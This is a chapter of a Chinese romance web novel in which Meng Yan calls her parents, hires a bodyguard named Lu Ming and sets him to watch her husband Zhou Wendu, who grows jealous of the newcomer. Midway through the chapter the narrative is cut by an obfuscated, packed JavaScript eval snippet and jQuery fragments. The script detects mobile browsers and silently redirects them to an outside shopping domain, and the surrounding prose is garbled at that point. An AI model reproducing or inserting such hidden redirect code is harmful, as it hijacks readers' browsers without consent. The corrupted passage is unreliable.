一提到周妩,姜宝怡兴致勃勃,讲她小时候,讲她上学时。有趣的、出糗的、可爱的,在姜宝怡的描述里,孟妍听到了一个具有万般绚烂彩色的少女。
爱,会让人变得文采斐然。
母爱更是。
当局者迷旁观者清,所以作为外人的孟妍清楚的知道,姜宝怡是多么疼爱她的这一双儿女,从她日日夜夜与自己的描述与思念中。
这么一说,孟妍还有些想她母亲了。
又坐了一会儿,姜宝怡大概是乏了,揉了揉太阳穴,起身在佣人的搀扶下,回了房间。
也是这时候,孟妍给在奶奶家养老的父母打去了电话。
对面接的很快,不过一瞬间,黑屏的手机里就出现了杨晴芽的脸,背景是烈日炎炎,她脸上还有些泥土的痕迹。
孟妍看不出来她正在做什么,疑惑问:“妈,你在干嘛呢?”
杨晴芽抹了把脸上的汗,大概是信号不好,扯着嗓子对她喊:“哎,丫头啊,怎么啦,你说什么呢?”
孟妍无语,叹了口气,随即也学她扯嗓子对话筒大声道:“我问,你在干嘛呢?”
“哦哦哦,”杨晴芽终于是听见了,把手机举的高高的,直到方块大的手机屏幕能够容纳她周围的花卉,才说,“喏,你看,我在栽花呢。”
小日子还挺滋润的。
长寿花、海棠、茉莉、栀子……
杨晴芽就爱捣弄些花花草草,连带着孟妍也都认得。
这个季节,长寿花正是开花的好时候,杨晴芽身后那两盆还是彩色的花,好不娇艳动人。
“这开的真好看。”
“那是,”杨晴芽得意,“也不看看是谁种的。”
且毫不客气。
她大概是在换盆,栀子长得很大了,花艺园自带的花盆并不够用,她要挪到稍大点适配的花盆里,所以才弄得一身都是泥。
她又铲了两下盆里的营养土,想起来自己还和自家闺女通话呢,问:“打电话来做什么呀?”
孟妍有些不太好意思:“想你们了。”
“想我们了!”惊喜的一声过后,一张虽沧桑但不失气度的脸也挤进屏幕里。
是孟妍的父亲,孟柏疆。
很久不沾染商务的孟柏疆,身上的商人铜臭味已经被时间洗涤的差不多了。这些年他在家里倒腾那个书法的爱好,加上跟在杨晴芽身后侍弄花草,他身上竟然也有了文人墨客的气息。
当然,前提得是安静的。
一说起话来,和他们身后乡下的环境融为一体:“丫头说想我们了,我们要不要去京北望望她?我也有点想丫头呢。”
说完,还朝着杨晴芽憨憨一笑。
却平白只得了一记白眼。
孟柏疆失落的垂下眼,像个孩子一样喃喃:“不行就不行嘛,这么凶干什么。”
“去去去,”天天瞅他这幅样子,杨晴芽大概也是烦了,对他好没耐心,“你别整天做出这副死样,看得我心烦。”
“我哪样了?”四五十岁的小老头,竟也开始撒娇。
别说杨晴芽了,孟妍这下也有些接受不了,五官挤到一起,十分嫌弃的躲到屏幕外,不愿意再看这对撒狗粮的夫妻。
直到他们腻歪够了,孟妍才重新出现在镜头里:“你们真要来汀园?”
“怎么,不欢迎?”杨晴芽反问她。
怎么可能?孟妍巴不得他们能来,她是真想他们了。
可话到嘴边,她却改了口:“倒也不是,只是汀园这段时间忙,你们来了,也没办法接待你们。”
杨晴芽倒是不在意,摆摆手:“这有什么的,都是一家人,而且我们现在日子粗糙很,不用你们多照顾。当然,得管饭。”
孟妍笑的无奈。
这不是粗糙不粗糙的问题。
她也想杨晴芽和孟柏疆能来汀园陪她,可是昨天她和伍宝儿才经历那么危险的事,她不能将自己的父母也拖入到危险之中。
所以到底,她还是亲手掐断了这个念头的苗头,说:“等过段时间汀园里头没那么忙了,我再接你们来,到时候我给伍宝儿请假,也让他来好好陪陪你们。”
孟妍如此一说,两位长辈也没道理再坚持。
又聊了些家常近况,孟妍才依依不舍的挂了电话。
望着手机上通话中断的页面,孟妍心里很不是滋味。但也是没办法,伍宝儿已经被牵连到了,她不能将自己的父母也拖进豪门斗争之中。
她放下手机。
话说,弄占堂的人到底什么时候来,她和她爹妈的视频通话都打了一个多小时了,对方的一根毛她都没看到。
她急不可耐的看了眼手机日期。
没错啊,就是今天。
孟妍有点等不及了,想发个信息催催老莫,问问安排的人现在到哪里了。
手机刚拿起来,就有佣人进来通报:“夫人,外面来了一位从来没有见过的先生,说是找您的。”
是弄占堂的人?
孟妍立马起身,跟着佣人到了院子门口。
此刻正好晌午,外面太阳大,日头烈。阳光稍稍偏斜着打在那个男人的背影上,映出一个欣长的身影。
对方大概是察觉到了她的到来,她还没来得及开口说话,对方已经转身了。
日光眷顾,打在他一半脸上,棱角分明,骨相优秀。是个大帅哥。
孟妍看直了眼。
老莫啊老莫,不愧是生死之交,知道她好哪口,特意给她送了个185大帅哥过来。
“咳咳……”对方在此时清了清嗓子,将孟妍的思绪拉出来,作自我介绍,“我叫陆洺,三水旁的洺,是弄占堂老莫的人,他让我过来保护你。”
洺、渡、清澜,孟妍怎么觉得五行缺水的是她啊,周围一堆名字里含三点水的怎么回事。
想什么呢。
孟妍回神,带着他进了汀园。
边走,边和他介绍汀园的情况。
毕竟是要长久在她身边办事的,想要不太扎眼的话,就得顺带还处理处理汀园的事务。
一直到客厅,孟妍才停了嘴。
她让陆洺坐,叫张妈来倒了水以后,打发走了客厅所有的佣人。
这个家,除了没什么心机且一直是她身边老人的张妈,和此时此刻在她身边的陆洺,其他任何人她都不相信。
清完场,她严肃起来:“从今天开始,你便是我的人了,以后,不管什么场合,你都得叫我夫人。”
陆洺愣了一下。
尽管知道她话里不是那个意思,他还是有些脸红。
但到底,还是点了点头。
孟妍便继续讲:“我信老莫,你是老莫的人,我自然也信你,你有事弄占堂的,肯定是一身本领。我要你做的事很多,很难,但同样,我给你的报酬,也会很多。”
陆洺依旧点头。
既如此,她也不绕弯子了:“今天晚上吃饭,你的首要任务是记住一个人,在餐桌上唯一的那位成年男性。他叫周闻渡,是汀园的主人,也是你接下来要盯得目标。从明天开始,他在汀园里的一举一动,你都要向我如实汇报,离开汀园之后在哪里、见了什么人、说了什么话,也得告诉我。”
陆洺点头。
又疑惑,犹犹豫豫开口:“老莫不是让我来保护你的吗?”
哦对,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774638|209998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还有安全问题呢。
一个人好像有点不太够用啊。
但她还得省钱呢,她还要攒钱买四合院,给两个人开工资,就有点太不够用了。
但又不能不保护她吧,这个周家,多危险啊。
思前想后,孟妍想了个折中的办法:“保护,肯定要保护我,但我出门你保护我就可以了,我在汀园的时候,你便去跟着周闻渡,看他都做了些什么。”
陆洺明白了。
应该没什么了吧……
“对了,你一定要随叫随到,嗯……加个联系方式,再给我你的电话号码,我把你加到紧急联系人里。”
陆洺懵懵懂懂,任由孟妍捣鼓这些奇怪的事。
这下彻底没什么别的了。
这桩心事落地,孟妍彻底松了口气。
有陆洺在,她真真觉得自己命被续上了一般。
往后一摊,感觉整个人都轻松了不少。
也终于有时机重新打量起眼前的这个男人。
陆洺,听起来还是个很好听的名字,长得也有棱有角,但不像会是弄占堂的人,而且……孟妍莫名觉得,她对他,隐隐有一种熟悉感。
就好像,在哪里见过一样。
孟妍这么想,也这么问了:“陆洺是吧,我是不是在哪里见过你啊?”
如果是搭讪,那孟妍自己都会觉得这句老套又老土。但她是真的感觉他们以前见过,只是她一时半会有些想不起来。
本以为陆洺会给她灵感,偏偏对方目光闪躲,然后摇头。
否认了他们的前缘。
即便如此,孟妍还是想起来了:“啊,我想起来了。是好几年前的事了吧,当时应该是哪个图书馆门口,你要买书来着,但是没带钱,是我帮你结的账。”
说完,她又顿住。
这种尴尬的前缘,他大概很不愿意想起并提起吧。
孟妍扯了个尴尬且难看的笑。
好在陆洺并没有在意,只是点点头。也不知道是不是孟妍的错觉,怎么她提起这个前缘以后,对方的表情反而舒展。
她没细想,只是说今天倒没什么让他忙的。
周闻渡已经出门了,她今天也没有出去的打算,暂时是用不上陆洺。
便叫张妈来,带他去熟悉熟悉汀园内。
她望着渐行渐远的陆洺的背影。
从此往后,她在汀园里,终于不算是要孤身一人面对种种了。
此时此刻,周氏办公大楼顶楼。
周闻渡叫来梁平,将电脑推到他面前。上面显示着一张男人的照片,模糊不清,但梁平认出来了,他的背景是汀园。
“这人我在汀园里没见过,是周劲松又塞人来汀园里监视你了?”梁平问。
梁平之所以这么问,是因为自从上一次周闻渡发现有人在监视他和孟妍以后,便用了几句借口将那两人赶出了汀园。
周劲松最是锲而不舍,一个眼线被抓住了,他只会用更隐秘的手段塞下一个。
所以梁平才会怀疑这个陌生男人是周劲松塞进来的新眼线。
但周闻渡摇了摇头。
他说:“这是夫人带进来的。”
一听是孟妍塞到汀园里的人,梁平立马闭嘴,领了周闻渡的命令下去办事去了。
生怕多停留一秒,周闻渡就会把气撒在他身上。
不过顷刻间,办公室里只剩下周闻渡一个人。
他盯着别墅内的照片,那张男人的脸发呆。即便他同孟妍没有什么过于亲密的肢体接触,但周闻渡就是分外眼红。
他要摸清楚这个男人的底细。
他可不允许自己老房子着火。